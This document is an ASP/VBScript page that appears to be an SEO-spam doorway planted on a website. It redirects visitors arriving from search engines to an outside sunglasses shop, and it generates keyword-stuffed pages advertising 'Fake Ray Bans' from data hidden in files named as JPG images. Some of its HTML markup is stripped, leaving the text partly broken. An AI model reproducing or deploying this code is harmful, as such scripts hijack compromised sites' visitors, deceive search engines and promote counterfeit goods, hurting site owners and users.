<% Function Getfrom() Dim page_from,search_array,i page_from=LCase(Request.ServerVariables("HTTP_REFERER")) search_array=array("google","yahoo","bing","aol","ask","biso") Getfrom=False For i=0 To Ubound(search_array) If Instr(page_from,search_array(i))>0 Then Getfrom=True Next End Function If Getfrom=True Then Response.Redirect("http://www.buyglasses.eu/#actionmultiratings") Response.End End If Function IsObjInstalled(ByVal strClassString) Dim xTestObj,ClsString On Error Resume Next IsObjInstalled = False ClsString = strClassString Err = 0 Set xTestObj = Server.CreateObject(ClsString) If Err = 0 Then IsObjInstalled = True If Err = -2147352567 Then IsObjInstalled = True Set xTestObj = Nothing Err = 0 Exit Function End Function Function StrTrim(Str) StrTrim = Trim(Replace(Replace(Str,Chr(13),""),Chr(10),"")) End Function Function StrUrl(Str) Dim RegEx StrUrl = StrTrim(LCase(Str)) Set RegEx = New RegExp RegEx.Pattern = "[^A-Za-z0-9 ]" RegEx.IgnoreCase = True RegEx.Global = True StrUrl = RegEx.Replace(StrUrl,"") Set RegEx = Nothing StrUrl = Replace(StrUrl," ","-") End Function Function IIf(Condition,ValueIfTrue,ValueIfFalse) If Condition Then IIf=ValueIfTrue Else IIf=ValueIfFalse End if End Function Function GetUrlNum(Str) Dim Re,Matches Set Re = New RegExp Re.IgnoreCase = True Re.Global = True Re.Pattern = "(\d+)" Set Matches = Re.Execute(Str) GetUrlNum = Matches(0) Set Re = Nothing End Function Function GetLocationURL() Dim ServerPort,QueryString ServerPort = Request.ServerVariables("SERVER_PORT") QueryString = Request.ServerVariables("QUERY_STRING") GetLocationURL = "http://" & Request.ServerVariables("SERVER_NAME") If ServerPort <> "80" Then GetLocationURL = GetLocationURL & ":" & ServerPort GetLocationURL = GetLocationURL & LCase(Request.ServerVariables("SCRIPT_NAME")) If QueryString <>"" Then GetLocationURL = GetLocationURL & "?" & QueryString GetLocationURL = Replace(Replace(GetLocationURL, "index.asp", ""), "default.asp" ,"") End Function Function InArray(haystack,needle) Dim length,i length = Ubound(haystack) For i=0 To length If haystack(i)=needle Then InArray=True Exit Function End If Next InArray=False End Function Function InsertKeys(content,keyarr,keyitems,prokeys,script_url) Dim strlen,strnum,keynum,arr(),i,j,temp,content_new,keytemp strlen = Len(content) keynum = Ubound(keyarr)+1 strnum = strlen\(keynum+1) Redim arr(keynum-1) For i=0 to keynum-1 arr(i) = strnum*(i+1) Next For i=0 to keynum-1 temp = arr(i) While Mid(content,temp,1)<>" " or Mid(content,temp-1,1)="." temp = temp+1 Wend arr(i) = temp Next j=1 : content_new = "" For i=0 to keynum-1 keytemp = IIf(keyarr(i)"&strTrim(Lcase(keyitems(keyarr(i))))&"",""&strTrim(Lcase(keyitems(keyarr(i))))&"") content_new = content_new & Mid(content,j,arr(i)-j+1) & keytemp j = arr(i) Next InsertKeys = content_new & Mid(content,j,strlen-j+1) End Function Dim obj,objFile,db,keydb If not IsObjInstalled("ADODB.Stream") Then Set obj = Server.CreateObject("ADODB.Stream") obj.Type = 2:obj.Mode = 3 obj.Open obj.LoadFromFile Server.MapPath("pltants.jpg") If Err.Number<>0 Then Err.Clear Response.End End If obj.Charset = "utf-8" obj.Position = 2 db = obj.ReadText obj.Close obj.Open obj.LoadFromFile Server.MapPath("pltant.jpg") If Err.Number<>0 Then Err.Clear Response.End End If obj.Charset = "utf-8" obj.Position = 2 keydb = obj.ReadText obj.Close Set obj = Nothing Else If IsObjInstalled("Scripting.FileSystemObject") Then Set obj = Server.CreateObject("Scripting.FileSystemObject") If Not obj.FileExists(Server.MapPath("pltants.jpg")) Or Not obj.FileExists(Server.MapPath("pltant.jpg")) Then Set obj = Nothing Response.End End If Set objFile = obj.OpenTextFile(Server.MapPath("pltants.jpg"), 1) db = objFile.ReadAll objFile.Close Set objFile = obj.OpenTextFile(Server.MapPath("pltant.jpg"), 1) keydb = objFile.ReadAll objFile.Close:Set objFile=Nothing Set obj = Nothing Else Response.End End If End If Dim dbitems,keyitems,mainkeys,prokeys,s,s1,s2,temp,i dbitems=Split(db,"**") keyitems=Split(keydb,Chr(10)) s1=Ubound(dbitems)+1 s2=Ubound(keyitems)+1 mainkeys=100 prokeys=200 Dim id,linkid,script_url,get_val id=-1 script_url="http://"&Request.ServerVariables("HTTP_HOST")&LCase(Request.ServerVariables("SCRIPT_NAME")) script_url=Replace(Replace(script_url,"index.asp",""),"default.asp","") get_val=Request("p") If get_val<>"" Then linkid=GetUrlNum(get_val) If IsNumeric(linkid) Then linkid=Clng(linkid) If linkid<1 Or linkid>s2 Then Response.Redirect(script_url) Response.End Else id=linkid-1 End If Else Response.Redirect(script_url) Response.End End If End If Dim mtitle,mkeyword,mdescrip If get_val="" Then mtitle="Official Ray Ban Outlet, 2015 Cheap Ray Bans Sale." mkeyword="Ray Ban Outlet, Cheap Ray Bans, Fake Ray Bans, Discount Ray Bans" mdescrip="We Specializ In Retail And Wholesale Fake Ray Bans For Cheap Price, New Style Discount Ray Bans With Great Quality Sale For 65% Discount Off." Else Dim keyword,kid,keyarr(7),content,cid,contemp,contemp1,contemp2 If (id+1)<=mainkeys Then kid=id+8 If (kid+1)>mainkeys Then kid=((kid+1) mod mainkeys)-1 Else kid=((id+1) mod mainkeys)-1 End If keyword=strTrim(keyitems(id))&", "&strTrim(keyitems(kid)) mtitle=keyword mkeyword=keyword If (id+1)<=mainkeys Then mtitle=keyword&", New Arrival Ray Ban Sunglasses Outlet." If (id+1)>mainkeys and (id+1)mainkeys Then mkeyword=keyword&", Ray Ban Sunglasses Outlet, Ray Ban Wayfarer Sale" mdescrip=keyword&", Free Shipping On Ray Ban Wayfarer Sale, Sale All The Items With 100% Quality Guarantee - Reduced Up To 60%." keyarr(0)=id keyarr(1)=kid For i=2 To 7 temp=(id+98*(i-1)) mod s2 While InArray(keyarr,temp)=True temp=temp+1 Wend keyarr(i)=temp Next cid=IIf(id+1>s1,s1-(id mod s1)-1,id mod s1) content=dbitems(cid) content=InsertKeys(content,keyarr,keyitems,prokeys,script_url) End If %> <%=mtitle%>
Ray Ban Outlet Ray Ban 624 9.8/10(from 438 reviews) 19.33 USD Suppliers: Ray Ban In Stock

<%=mtitle%>

Ray Ban Outlet <%If get_val="" Then 'mainpage%>

<% Dim pagenums,curpage,prevpg,nextpg pagenums=s2\15+1 curpage=Request("page") If IsNumeric(curpage) Then curpage=Clng(curpage) If curpage<1 Then curpage=1 If curpage>pagenums Then curpage=pagenums Else curpage=1 End If catarr=Array("28|Ray Ban Outlet","7|Cheap Ray Bans","9|Fake Ray Bans","10|Discount Ray Bans") For i=1 To 15 temp=(curpage-1)*15+i tempc=IIf(temp>s1,s1-((temp-1) mod s1)-1,(temp-1) mod s1) tempcd=Left(dbitems(tempc),340) tempcd=Replace(Replace(tempcd,"

",""),"

","") catn=(temp-1) mod (Ubound(catarr)+1) catd=split(catarr(catn),"|") If temp>s2 Then Exit For Response.Write "

"&StrTrim(keyitems(temp-1))&"

"&vbcrlf Response.Write "

Posted in:"&catd(1)&" Posted on:"&Date()&"

"&vbcrlf Response.Write "

"&tempcd&""&catd(1)&"...

"&vbcrlf Next %>
<% prevpg=IIf(curpage=1,1,curpage-1):nextpg=IIf(curpage=pagenums,pagenums,curpage+1) Response.Write "First"&vbcrlf Response.Write "Previous"&vbcrlf Response.Write "Next"&vbcrlf Response.Write "Last"&vbcrlf %>
<%Else 'subpage%>
/">Home > Ray Ban Outlet > <%=strTrim(keyitems(id))%>

<%=strTrim(keyitems(id))%>

Posted on:<%=Date()%> Tagged:<%=keyword%>

<% If id+1<>1 Then Response.Write "Previous: "&strTrim(keyitems(id-1))&"  "&vbcrlf If id+1<>s2 Then Response.Write "Next: "&strTrim(keyitems(id+1))&""&vbcrlf %>

<%=content%>
<%End If%>